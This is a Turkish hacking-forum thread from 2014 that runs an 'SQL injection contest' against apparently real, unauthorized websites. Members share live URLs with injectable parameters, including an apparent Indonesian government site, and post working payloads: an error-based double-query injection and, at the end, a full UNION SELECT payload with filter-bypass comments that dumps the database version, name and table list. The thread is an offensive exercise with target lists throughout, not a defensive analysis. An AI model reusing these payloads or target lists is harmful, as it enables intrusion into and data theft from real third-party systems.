SQL İNJECTİON Yarışması

redkit · 23 Mar 2014

Arkdaşlar foruma biraz hareketlilik katalım hack forumu olduguna göre hack ile ilgili olacak

sql injection ile ilgili olacak , örnek olarak ben bir tane ile başlatacam. Şimdi ben size bir sql acıklı site vercem bunu aşamayı başarmanızı isteyecem ama öle programla scriptle değil manuel

burada kodu paylaşacaksınız böylelikle diğer arkdaşlarda öğrenmiş olcak. Eğer yapamayan olursa 3-4 gün sonra ben kodlarını yazıp yeni siteye gececez. Başlayalım :

sitemiz : http://www.tuprag.com.tr/page.php?ID=80'

Bu sitedeki sql filtrelemesini aşıp versiyon cekelim. Lütfen kodlarla birlikte... Herkese başarılar

Kzsg · 23 Mar 2014

dokunulmaz kardeşim hertürlü herşekilde alır

sql yarışmasını

Furij · 23 Mar 2014

By dokunulmaz varsa ben yokum

redkit · 23 Mar 2014

bnece herkes uğraşsın amaç kendimizi geliştirmek

TreX1 · 24 Mar 2014

http://www.tuprag.com.tr/page.php?I...ersion(),floor(rand(0)*2)) having min(0) or 1

form kodları bozdugu için hata veriyor bende resim ekledim

selametle./

redkit · 24 Mar 2014

TreX1' Alıntı:
http://www.tuprag.com.tr/page.php?I...ersion(),floor(rand(0)*2)) having min(0) or 1

form kodları bozdugu için hata veriyor bende resim ekledim

selametle./

kodları kod ekle tagı ile eklersen bozulmazlar

resimde gördüğüm kadarıyla cekmişsin keşke biraz anlatsaydında arkdaşlara anlamarı için. Başka yoldan yapan cıkar diye şimdilik yeni site vermiyorum yarın bunu acıklayıp yeni siteye geceecez, eline sağlık

TreX1 · 24 Mar 2014

redkit' Alıntı:
TreX1' Alıntı:

http://www.tuprag.com.tr/page.php?I...ersion(),floor(rand(0)*2)) having min(0) or 1

form kodları bozdugu için hata veriyor bende resim ekledim

selametle./

Genişletmek için tıkla ...

kodları kod ekle tagı ile eklersen bozulmazlar resimde gördüğüm kadarıyla cekmişsin keşke biraz anlatsaydında arkdaşlara anlamarı için. Başka yoldan yapan cıkar diye şimdilik yeni site vermiyorum yarın bunu acıklayıp yeni siteye geceecez, eline sağlık

Eyvallah kardeşim saolasın haklısın herkesin sql cekimi farklıdır boyle guzel konular bulmak cok zor artık formlarda baslattıgın için tesekkur ederim yaptıgım işe gelince double query yontemi ile cektim version u sadece url yi char a cevirdim o kadar

redkit · 24 Mar 2014

TreX1' Alıntı:
redkit' Alıntı:

TreX1' Alıntı:

http://www.tuprag.com.tr/page.php?I...ersion(),floor(rand(0)*2)) having min(0) or 1

form kodları bozdugu için hata veriyor bende resim ekledim

selametle./

Genişletmek için tıkla ...

kodları kod ekle tagı ile eklersen bozulmazlar resimde gördüğüm kadarıyla cekmişsin keşke biraz anlatsaydında arkdaşlara anlamarı için. Başka yoldan yapan cıkar diye şimdilik yeni site vermiyorum yarın bunu acıklayıp yeni siteye geceecez, eline sağlık

Genişletmek için tıkla ...

Eyvallah kardeşim saolasın haklısın herkesin sql cekimi farklıdır boyle guzel konular bulmak cok zor artık formlarda baslattıgın için tesekkur ederim yaptıgım işe gelince double query yontemi ile cektim version u sadece url yi char a cevirdim o kadar

Verdiğiniz bilgi için teşekkür ederiz

TreX1 · 24 Mar 2014

konu sahibi Redkit kardeşimin affına sıgınarak bi tanede ben paylasıyorum butun sqlcülere kolay gelsin buyrun version alabilecek?

http://www.myriamfares.com/index.php?id=55&c=4'

Ens4R · 24 Mar 2014

bende paylaşayım bari

http://www.bluegrassmidwest.com/details.php?id=6'
http://bbbiotechconference.com/conference-details.php?id=10'
http://www.bvfonts.com/fonts/details.php?id=45'

Er0in · 24 Mar 2014

http://bps.go.id/tab_sub/view.php?tabel=1&daftar=1&id_subyek=12&notab=2' alın benden de bitane

redkit · 25 Mar 2014

ilk sorduğumuz sitenin kodları aşağıdadır bypass şeklini kodu inceleyerek anlayabilirsiniz. Yakında yeni site ile devam edilecektir

ss :

Kod:

http://www.tuprag.com.tr/page.php?ID=80 UNION /*%21SELECT*/ NULL,2,3,4,concat%280x3c2f6469763e3c2f6469763e,0x3c623e3c666f6e7420636f6c6f723d7265643e4d616b4d616e203a3a20,version%28%29,0x3c62723e5072696d617279204462203a203c2f666f6e743e,database%28%29,0x3c62723e3c666f6e7420636f6c6f723d7265643e5461626c657320696e205072696d617279204462203a203c2f666f6e743e,group_concat%28/*%21table_name*/ separator 0x3c666f6e7420636f6c6f723d7265643e203a3a203c2f666f6e743e%29,0x3c6469763e%29,6,7,8,9,10,11 from information_schema.tables where table_schema=database%28%29--

Ara

SQL İNJECTİON Yarışması

redkit

Prof Spys-z

Kzsg

Prof Spys-z

Furij

Spys-Z

redkit

Prof Spys-z

TreX1

Yeni Üye

redkit

Prof Spys-z

TreX1

Yeni Üye

redkit

Prof Spys-z

TreX1

Yeni Üye

Ens4R

Prof Spys-z

Er0in

Özel Üye

redkit

Prof Spys-z